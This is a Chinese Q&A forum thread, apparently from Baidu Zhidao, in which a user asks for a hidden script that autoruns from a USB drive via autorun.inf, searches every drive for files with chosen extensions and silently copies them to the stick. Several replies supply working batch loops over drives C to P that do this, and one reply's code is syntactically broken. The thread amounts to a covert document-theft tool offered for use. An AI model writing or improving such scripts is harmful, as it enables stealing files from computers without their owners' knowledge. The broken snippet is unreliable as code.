帮忙写个Bat批处理或者VBS,自动搜索指定后缀文件复制到U盘。 100
批处理或者vbs放在U盘内,利用autorun.inf让其自动执行。第一步:搜索指定的后缀名文件,假设制定后缀“.999”和“.888”第二部:复制搜索到的“.999”和...
批处理或者vbs放在U盘内,利用autorun.inf让其自动执行。
第一步:搜索指定的后缀名文件,假设制定后缀“.999”和“.888”
第二部:复制搜索到的“.999”和“.888”文件到U盘。
全程隐藏。
@echo off
set FL=*.DOc
set LJ=%cd%&cd/d C:\
for %%i in (C D E F G H I J K L M N O P) do (
if exist %%i: ( CD/D %%i:&echo.
echo 正在查找 %%i 盘 %FL%。。。
for /f "delims=" %%j in ('dir /s /b %FL%') do (
if exist "%%j" (COPY /y "%%j" "%LJ%" >nul
echo 已复制:"%%j"))))
echo.&echo 完成,按任意键退出...&pause>nul
帮我修改下,不知道为什么扫描的文件全部跑到当前目录了。 能不能让它保存在指定目录 展开
第一步:搜索指定的后缀名文件,假设制定后缀“.999”和“.888”
第二部:复制搜索到的“.999”和“.888”文件到U盘。
全程隐藏。
@echo off
set FL=*.DOc
set LJ=%cd%&cd/d C:\
for %%i in (C D E F G H I J K L M N O P) do (
if exist %%i: ( CD/D %%i:&echo.
echo 正在查找 %%i 盘 %FL%。。。
for /f "delims=" %%j in ('dir /s /b %FL%') do (
if exist "%%j" (COPY /y "%%j" "%LJ%" >nul
echo 已复制:"%%j"))))
echo.&echo 完成,按任意键退出...&pause>nul
帮我修改下,不知道为什么扫描的文件全部跑到当前目录了。 能不能让它保存在指定目录 展开
3个回答
展开全部
set FL=*.DOc
set LJ=C:\
for %%i in (C D E F G H I J K L M N O P) do (
if exist %%i: ( CD/D %%i:&echo.
echo 正在查找 %%i 盘 %FL%。。。
for /f "delims=" %%j in ('dir /s /b %FL%') do (
if exist "%%j" (COPY /y "%%j" "%LJ%" >nul
echo 已复制:"%%j"))))
echo.&echo 完成,按任意键退出...&pause>nul
显示、设置或删除 cmd.exe 环境变量。
SET [variable=[string]]
variable 指定环境变量名。 string 指定要指派给变量的一系列字符串。
set LJ=%cd%&cd/d C:\没有成功的把LJ赋值为C:\
set LJ=C:\
for %%i in (C D E F G H I J K L M N O P) do (
if exist %%i: ( CD/D %%i:&echo.
echo 正在查找 %%i 盘 %FL%。。。
for /f "delims=" %%j in ('dir /s /b %FL%') do (
if exist "%%j" (COPY /y "%%j" "%LJ%" >nul
echo 已复制:"%%j"))))
echo.&echo 完成,按任意键退出...&pause>nul
显示、设置或删除 cmd.exe 环境变量。
SET [variable=[string]]
variable 指定环境变量名。 string 指定要指派给变量的一系列字符串。
set LJ=%cd%&cd/d C:\没有成功的把LJ赋值为C:\
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
@echo off
for %%a in (c d e f g h) do (
if exist %%a: (
cd %%a:\
for /r %%b in (*.888 *.999) do (
xcopy /q /y "%%b" 你U盘的盘符
)
)
pause
利用autorun.inf让其自动执行,这句不知道怎么写。给你大概的思路,你可以自己改改。希望能够帮到你!谢谢!
更多追问追答
追问
autorun.inf比较简单 我自己写。
能帮我解释一下这个代码的大概意思吗
@echo off
for %%a in (c d e f g h) do (
if exist %%a: (
cd %%a:\
for /r %%b in (*.888 *.999) do (
xcopy /q /y "%%b" 你U盘的盘符
)
)
pause
追答
大概的意思:如果存在C盘,就进入C盘,然后再c盘中搜索*.888和*.999文件,然后复制到你的U盘。然后进行循环操作。如果存在D盘 e盘 f盘都进行同样的操作。
if exist "%%j" (COPY /y "%%j" "%LJ%" >nul这个就是把文件复制到当前目录中,%LJ%表示当前目录.你把%Lj%换成你想复制到的路径就可以了
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
for %%a in (C D E F G H I J K L M N O P) do (
for /f "delims=0"%%i in ('dir /s /b %%a:\*.doc ') do copy %%i u盘盘符、*.*
))
for /f "delims=0"%%i in ('dir /s /b %%a:\*.doc ') do copy %%i u盘盘符、*.*
))
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询